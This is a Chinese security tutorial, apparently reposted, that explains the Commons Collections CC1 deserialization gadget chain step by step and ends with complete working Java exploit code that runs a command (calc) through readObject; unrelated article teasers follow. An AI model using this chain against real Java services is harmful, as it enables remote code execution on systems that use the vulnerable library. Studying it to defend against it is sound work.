Java安全入门(二)——CC链1 分析+详解

2023-11-12

组件介绍

        Apache Commons 当中有⼀个组件叫做 Apache Commons Collections ,主要封装了Java 的 Collection(集合) 相关类对象,它提供了很多强有⼒的数据结构类型并且实现了各种集合工具类。

作为Apache开源项⽬的重要组件,Commons Collections被⼴泛应⽤于各种Java应⽤的开发,⽽正 是因为在⼤量web应⽤程序中这些类的实现以及⽅法的调⽤,导致了反序列化⽤漏洞的普遍性和严重性。

        Apache Commons Collections中有⼀个特殊的接口,其中有⼀个实现该接口的类可以通过调用 Java的反射机制来调用任意函数,叫做InvokerTransformer。

环境

  • CommonsCollections <= 3.2.1

  • java < 8u71(我是用的是8u66)

导入Maven依赖

 <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
 </dependency>

 当然也可以 用传统的 lib包下导入add as a library

CC1链 利用过程分析:

0x01 Transformer接口

Transformer是一个接口类,提供了一个对象转换方法transform(接收一个对象,然后对对象作一些操作并输出)

package org.apache.commons.collections;

public interface Transformer {

    public Object transform(Object input);

}

该接口的重要实现类有:ConstantTransformerinvokerTransformerChainedTransformerTransformedMap 。

ConstantTransformer类

关键代码如下:

接受一个对象返回一个常量,无论接收什么对象都返回 iConstant

这个常量在构造函数当中

 

ChainedTransformer类

当传⼊的参数是⼀个数组的时候,就开始循环读取,对每个参数调⽤ transform ⽅法,从⽽构造出 ⼀条链。

它赋值时会传入一个要调用方法的数组,然后将传入的方法链式(前一个的输出作后一个的输入)调用。

 InvokerTransformer类

我们先看一下它的 transform 方法,传入一个对象,然后反射调用。方法值,参数类型,参数都是可控的。

 为什么说是可控的呢?我们看它的构造方法就会明白。

这里其实就是一个很标准的任意方法调用。

例子1:

利用该方法弹出计算器:

import org.apache.commons.collections.functors.InvokerTransformer;

public class demo01 {
    public static void main(String[] args) throws Exception {
        Runtime runtime = Runtime.getRuntime();
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);
    }
}

这里为 InvokerTransformer 类中的 transform 方法传入Runtime实例,同时通过构造方法传入了exec方法以及需要的参数类型(String.class)和参数值(calc),我们之前提到了 transform 方法中的反射调用,所以成功弹出计算器。

 

所以我们下一步就需要向上一层寻找谁调用了InvokerTransformer 类中的 transform 方法

右键 Find Usages 查看调用,寻找不同名字调用的 transform 方法,如果是transform 再调用 transform 是没有意义的,我们最后的目标是要回到 readObject 中。

假如再寻找的过程中 a方法 调用了 transform,那么我们就要继续寻找 谁调用了 a 方法,最终找到 readObject 方法。

最终是可以发现Map类中可以入手的(前辈们找到的)

 

 0x02 TransformedMap类

TransformedMap 中 checkSetValue 中调用了 transform 方法

TransformedMap 构造函数

 我们可以根据构造函数理解一下TransformedMap 的功能,接收一个Map进来,分别对 key 和 Value 进行一些操作。

因为构造方法是 protected 保护方法

所以我们可以找到在该类中调用它的方法 decorate 

0x03 AbstractInputCheckedMapDecorator类

我们再寻找那个方法调用了checkSetValue 方法。只有一处调用,setValue 方法调用了 checkSetValue。

 我们可以发现 AbstractInputCheckedMapDecorator 是 TransformedMap的父类。

这里需要我们理解一下(再去翻代码是有一些繁琐的)

MapEntry中的setValue方法其实就是Entry中的setValue方法,他这里重写了setValue方法。

TransformedMap接受Map对象并且进行转换是需要遍历Map的,遍历出的一个键值对就是Entry,所以当遍历Map时,setValue方法也就执行了。

 发现这一点的话,我们就可以通过遍历Map来触发代码的执行。

例子2:

我们写一个例子帮助理解一下。

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;


public class demo01 {
    public static void main(String[] args) throws Exception {

        Runtime runtime = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

        // 以下步骤就相当于 invokerTransformer.transform(runtime);
        HashMap<Object, Object> map = new HashMap<>();
        map.put("key","value");

        Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);

        // 遍历Map——checkSetValue(Object value)只处理了value,所以我们只需要将runtime传入value即可
        for (Map.Entry entry:transformedMap.entrySet()){
            entry.setValue(runtime);
        }

    }
}

0x04 AnnotationInvocationHandler类

回到本职工作,我们再寻找谁调用的setValue 方法,还是不同名的方法掉用。

打断一下——下载源码,帮助调试

这里需要我们自己加入sun包的源码,因为一些原因IDEA中是没有一部分包(这里重点是sun包)的java文件,只有class文件。所以调试时会遇到找不到的问题,我们必须手动添加源码。

源码下载地址:

下载版本相对应的源码

jdk8u/jdk8u/jdk: af660750b2f4

 解压后拷贝sun包

 拷贝到jdk8u66的src文件下

 

 IDEA中将src路径加入

 这样我们在调试的时候就可以看到sun包的源码了,同时发现了 AnnotationInvocationHandler 中的 readObject 调用了setValue 方法,我们也是成功找到了readObject方法。

回归正题

接下来我们分析 AnnotationInvocationHandler 类,需要注意的时他不是public,只能在所属包下访问到,所以我们通过反射获取。

先看一下构造函数,接收两个参数 class对象(注解)和map对象,这个map是我们可以控制的,可以放置我们构造好的map。

同时在readObject方法,我们也发现Map的遍历

 

例子3

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;


public class demo01 {
    public static void main(String[] args) throws Exception {

        //演示demo,省略部分代码,通过以下代码我们就可以获得AnnotationInvocationHandler对象

        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        //创建构造器
        Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        //保证可以访问到
        annotationInvocationHandlerConstructor.setAccessible(true);
        //实例化传参,注解和构造好的Map
        Object o = annotationInvocationHandlerConstructor.newInstance(Override.class, transformedMap);
    
        
        //正常序列化与反序列化
        serialize(o);
        unserialize("ser.bin");

    }
    public static void serialize(Object obj) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws Exception {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

0x05 结束

其实到这里以及分析的差不多了,只有一些小问题需要我们去解决。

        第一点:通过 InvokerTransformer方法获取runtime实例,并执行代码

 

        第二点:readObject方法中有两个if判断,我们需要满足两个 if判断 才能成功执行serValue方法,这个地方可以自己DeBug一下。

 

        第三点,readObject方法中setValue方法中的值为 AnnotationTypeMismatchExceptionProxy,不是我们想要的Runtime.class,所以在 transformers 中加入了 new ConstantTransformer(Runtime.class),确保value值为我们的Runtime.class

 最后献上完整代码:

package cc1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;


public class demo01 {
    public static void main(String[] args) throws Exception {

//        //正常获取runtime实例
//        Runtime runtime = Runtime.getRuntime();

//        //反射获取 runtime实例,并执行代码
//        Class c = Runtime.class;
//        Method getRuntimeMethod = c.getMethod("getRuntime", null);
//        Runtime runtime = (Runtime) getRuntimeMethod.invoke(null, null);
//        Method execMethod = c.getMethod("exec", String.class);
//        execMethod.invoke(runtime,"calc");

//        //InvokerTransformer方法获取runtime实例,并执行代码
//        Method  getRuntimeMethod = (Method) new InvokerTransformer("getRuntime", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
//        Runtime runtime = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
//        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);

        //通过ChainedTransformer实现 InvokerTransformer方法获取runtime实例,并执行代码
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        //chainedTransformer.transform(Runtime.class);


        HashMap<Object, Object> map = new HashMap<>();
        map.put("value","value");

        Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);




        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        //创建构造器
        Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        //保证可以访问到
        annotationInvocationHandlerConstructor.setAccessible(true);
        //实例化传参,注解和构造好的Map
        Object o = annotationInvocationHandlerConstructor.newInstance(Target.class, transformedMap);

        serialize(o);
        unserialize("ser.bin");

    }

    public static void serialize(Object obj) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws Exception {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

 

参考链接

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java

Java反序列化CommonsCollections篇(一) CC1链手写EXP_哔哩哔哩_bilibili

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

Java安全入门(二)——CC链1 分析+详解 的相关文章

随机推荐

  • jmeter:linux环境运行jmeter并生成报告

    是一个java开发的利用多线程原理来模拟并发进行性能测试的工具 一般来说 GUI模式只用于创建脚本以及用来debug 执行测试时建议使用非GUI模式运行 这篇博客 介绍下在linux环境利用jmeter进行性能测试的方法 以及如何生成测试报
  • matplotlib绘图与可视化2

    文章目录 前言 一 使用pandas和seaborn绘图 1 1 折线图 1 2 柱状图 1 3 直方图和密度图 1 4 散点图或点图 1 5 分面网格和分类数据 总结 前言 matplotlib是一个相当底层的工具 你可以从其基本组件中组
  • java ioc依赖注入,Spring bean的实例化和IOC依赖注入详解

    前言 我们知道 IOC是Spring的核心 它来负责控制对象的生命周期和对象间的关系 举个例子 我们如何来找对象的呢 常见的情况是 在路上要到处去看哪个MM既漂亮身材又好 符合我们的口味 就打听她们的电话号码 制造关联想办法认识她们 然后
  • 【带头结点的单链表】

    带头结点的单链表 前言 一 带头结点的单链表结构体设计 1 带头结点的单链表 2 结构体声明 二 函数实现 1 初始化 2 申请新节点 3 头插 4 尾插 5 按位置插入 6 头删 7 尾删 8 销毁 总结 前言 单链表的概念 单链表是一种
  • CS162 操作系统HW2(使用Liunx内核链表以及多线程实现WordCounter)

    心得体会 IDE自动提示补全真的特别重要 大大提高开发效率 通过IDE自动搜索库函数API GDB调试能力要加强 使用前面提供的list h来改写wordCount程序 头文件的实现相当有技巧 将使用外部list库 多线程都用宏定义到同一份
  • Could not load dynamic library ‘libcupti.so.10.0‘; dlerror: libcupti.so.10.0...

    环境 Ubuntu 16 04 CUDA 10 0 CUDNN 7 6 5 nvcc NVIDIA R Cuda compiler driver Copyright c 2005 2018 NVIDIA Corporation Built
  • ESP32 /ESP8266在VS Code and PlatformIO上传文件系统 (SPIFFS)

    ESP32 ESP8266在VS Code and PlatformIO上传文件系统 SPIFFS 学习如何上传文件到ESP32板文件系统 SPIFFS 使用VS Code与PlatformIO IDE扩展 快速和简单 使用ESP32的文件
  • 【计算机毕业设计】课堂考勤微信小程序 基于微信小程序的课堂考勤管理系统

    毕设帮助 源码交流 技术解答 见文末 一 前言 在目前国内的高校课堂考勤中 传统的到场点名方式耗费了教师大量的时间和精力 随着课堂人数的增加 学生群体呈现多样性 这种点名考勤方式将不再适合日常使用 而且传统的点名考勤无法避免代人答到现象 极
  • 包装类这颗语法糖,其实并不甜

    历史文章推荐 你真的了解时间吗 细数ThreadLocal三大坑 内存泄露仅是小儿科 Java 8 ConcurrentHashMap源码中竟然隐藏着两个BUG ConcurrentHashMap中有十个提升性能的细节 你都知道吗 Hash
  • 2023年及以后语言、视觉和生成模型的发展和展望

    一 简述 在过去的十年里 研究人员都在追求类似的愿景 帮助人们更好地了解周围的世界 并帮助人们更好地了解周围的世界 把事情做完 我们希望建造功能更强大的机器 与人们合作完成各种各样的任务 各种任务 复杂的信息搜寻任务 创造性任务 例如创作音
  • 如何在jieba分词中加自定义词典_R-数据挖掘

    一 jiebaR主要函数 1 worker 加载jiebaR库的分词引擎 worker type mix dict DICTPATH hmm HMMPATH user USERPATH idf IDFPATH stop word STOPP
  • 少儿编程竞赛概览

    少儿编程竞赛概览 全国性竞赛活动名单的确定 最终确定的 29 项中的信息类竞赛 学编程的孩子可以报哪些比赛 CSP J S 计算机非专业组别能力认证 全国中小学生创 造大赛 蓝桥杯青少年创意编程比赛 全国青少年编程创意与智能设计大赛 全国中
  • Ubuntu系统操作指令详解

    Ubuntu系统操作指令详解 解压文件指令 vim使用指令 1 进入编辑模式 2 退出编辑模式 ls alh显示出来内容的意思 创建文件夹 创建文件 删除当前文件夹下所有文件 ubuntu删除命令记录的方法 Ubuntu中复制文件出现权限不
  • 从malloc中窥探Linux内存分配策略

    malloc函数是C C 中常用内存分配库函数 本篇文章将以Linux平台上的malloc为剖析对象 深入了解分配一块内存的旅程 malloc入门 使用malloc 需要包含头文件 stdlib h 函数原型如下 extern void m
  • utf8和utf8mb4的区别

    一 简介 MySQL在5 5 3之后增加了这个utf8mb4的编码 mb4就是most bytes 4的意思 专门用来兼容四字节的unicode 好在utf8mb4是utf8的超集 除了将编码改为utf8mb4外不需要做其他转换 当然 为了
  • c#之string和stringBuilder

    C String与StringBuilder 转载 1 什么时候用String 什么时候用StringBuilder 字符串一旦创建就不可修改大小 所以对字符串添加或删除操作比较频繁的话 那就不要用String而用StringBuilder
  • 【java8的特性-4】日期时间!

    一 获取当前时间 Java 8提供了三个主要的类来处理日期和时间 LocalDate LocalTime和LocalDateTime 以下是这些类的简要说明 LocalDate 代表一个日期 它包含了年 月 日等信息 但没有时间信息 Loc
  • 第四章:SQL Server2019数据库 之 综合案例练习、 使用SQL语句插入数据、更新和删除数据

    目录 一 综合案例 数据表的基本操作 二 插入数据 1 插入单行数据 2 插入多行数据 3 表中数据的复制 三 更新和删除数据 1 UPDATE 语句 2 DELETE 语句 学前必备知识 第一章 SQL Server 数据库环境搭建与使用
  • Linux 系统sudo apt-get update出错E: Problem executing scripts APT::Update::Post-Invoke-Success

    Ubuntu系统运行 sudo apt get update时报错如下 E Problem executing scripts APT Update Post Invoke Success if usr bin test w var cac
  • Java安全入门(二)——CC链1 分析+详解

    组件介绍 Apache Commons 当中有 个组件叫做 Apache Commons Collections 主要封装了Java 的 Collection 集合 相关类对象 它提供了很多强有 的数据结构类型并且实现了各种集合工具类 作为